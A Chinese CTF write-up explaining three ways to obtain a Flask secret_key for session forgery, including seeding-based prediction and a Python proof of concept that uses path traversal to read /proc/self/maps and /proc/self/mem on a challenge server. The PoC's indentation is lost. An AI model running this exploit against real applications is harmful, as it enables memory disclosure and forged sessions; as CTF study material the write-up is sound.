flask读mem获取secret_key

secret_key用于作为密钥对会话数据进行加密,flask session的伪造需要先获得secret_key。

前两点为普通的session伪造,最后一点为读mem获取secret_key

①明文secret_key

题目源码里直接给出了secret_key,只需要用flask-session-cookie-manager伪造即可

例题:[HCTF 2018]admin (BUU)

②不安全的随机数secret_key

题目用于生成secret_key的随机数函数是不安全的,可预测

例题:[CISCN2019 华东南赛区]Web4 (BUU)

题目中的key生成部分代码如下

1
2
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)

uuid.getnode()获取的是sys/class/net/eth0/address中的MAC地址转十进制的值

对于伪随机数,如果seed是固定的,生成的随机数是可以预测的,也就是顺序固定的。

所以只要本地使用一样的seed生成随机数即可获得secret_key

安全随机数有哪些

编程语言 安全随机数 备注
C/C++ CryptGenRandom(Windows) libsodium,randombytes_buf() 原理:依据当前进程ID、当前线程ID、当前时间、用户名、计算机名、CPU计数器等,生成随机数,和/dev/random一样,效率低,消耗资源大
.NET(C#) System.Security.Cryptography.RNGCryptoServiceProvider 原理:和CryptGenRandom(Windows)类似
Perl Math::Random::Secure 原理:所使用的种子种类繁多,且是随机使用的,攻击者可能要费劲10多年才能遍历完成
Python os.urandom random.SystemRandom() 原理:函数返回的随机字节,是操作系统所带的随机函数产生,具有特异性这里”urandom”里”u”应该指的是”unexpected”–难以预料
Ruby Sysrandom(取代SecureRandom) 适用于生成session token原理:使用/dev/urandom
JAVA java.security.SecureRandom 原理:提供加密强度高的随机数生成器,默认条件下(不传其他种子的话,默认种子来源是/dev/random,但是存在熵耗尽导致阻塞的现象),就可以产生安全的随机数;解决熵值耗尽的方法要不就是不断增加熵值,要不就种子来源换成/dev/urandom
PHP mcrypt_create_iv, openssl_random_pseudo_bytes,random_bytes,random_int 原理:random_bytes/random_int – 不同系统上,源头不同,Windows上使用CryptGenRandom,Linux上使用getrandom(2)或/dev/urandom
GNU/Linux或Unix 读取/dev/random or /dev/urandom 4.3讲的很清楚了

不安全的随机数

编程语言 弱伪随机数 备注
C/C++ srand( time() ) + rand() 以时间为种子,产生随机数
C# Random() System.Guid()
Perl srand( time() ) + rand() 以时间为种子,产生随机数
Python import numpy rng = numpy.random.RandomState( time() ) array_rand_num = rng.uniform() ————————— import random random.seed()
Ruby srand( time() ) + rand() 以时间为种子,产生随机数
JAVA Random
PHP srand() + rand() mtstrand() + mtrand()

③secret_key具有特征字符串

secret_key是生成的随机数,且不可预测,但是拼接了字符串

例题:[Nepnep-catCTF2022] catcat

题目中生成secret_key的部分代码如下

1
app.config['SECRET_KEY'] = str(uuid.uuid4()).replace("-", "") + "*abcdefgh"

后面拼接了一个*abcdefgh

python存储对象的位置在堆上,flask对象自然也在,这里的secret_key又在app.config[‘SECRET_KEY’]里。所以可以通过读取内存内容获得secret_key,读取/proc/self/mem就可以得到进程的内存内容。

但是不能直接读,/proc/self/mem内容较多而且存在不可读写部分(未被映射的区域),直接读取会导致程序崩溃。

/proc/self/maps文件的内容为内存代码段基址,应该结合/proc/self/maps得到当前进程的内存映射关系来确定读的偏移值

只有读取的偏移值是被映射的区域才能正确读取内存内容。

正确读取mem后,在mem里找secret_key即可。(前面的题按理来说也行,但是mem里面乱七八糟的字符串有点多,不好找。

poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import  re
import requests
url="http://eci-2zefgz6c8k3wjqf0r3qc.cloudeci1.ichunqiu.com:8000/books"
maps_url = f"{url}?book=.../.../.../proc/18/maps&page_size=2000000"
maps_reg = "([a-z0-9]{12}-[a-z0-9]{12}) rw.*?00000000 00:00 0"
maps = re.findall(maps_reg, requests.get(maps_url).text)
cookie=''
for m in maps:
print(m)
print(maps)
start, end = m.split("-")[0], m.split("-")[1]
Offset, Length = str(int(start, 16)), str(int(end, 16))
read_url = f"{url}?book=.../.../.../proc/8/mem&start={Offset}&end={Length}"
print(read_url)
s = requests.get(read_url).content
rt = re.findall(b"(.{40})\*abcdefgh", s) #特征数据正则
if rt:
print(rt[0])

参考

000.【Web安全】你所使用的随机数真的安全吗? - 残夜悠悠伴我心 - 博客园 (cnblogs.com)

/proc/self/ - 简书 (jianshu.com)

(´∇`) 被你发现啦~ 攻防世界 x Nepnep x CATCTF 2022 Nepnep战队官方WP | xia0ji233’s blog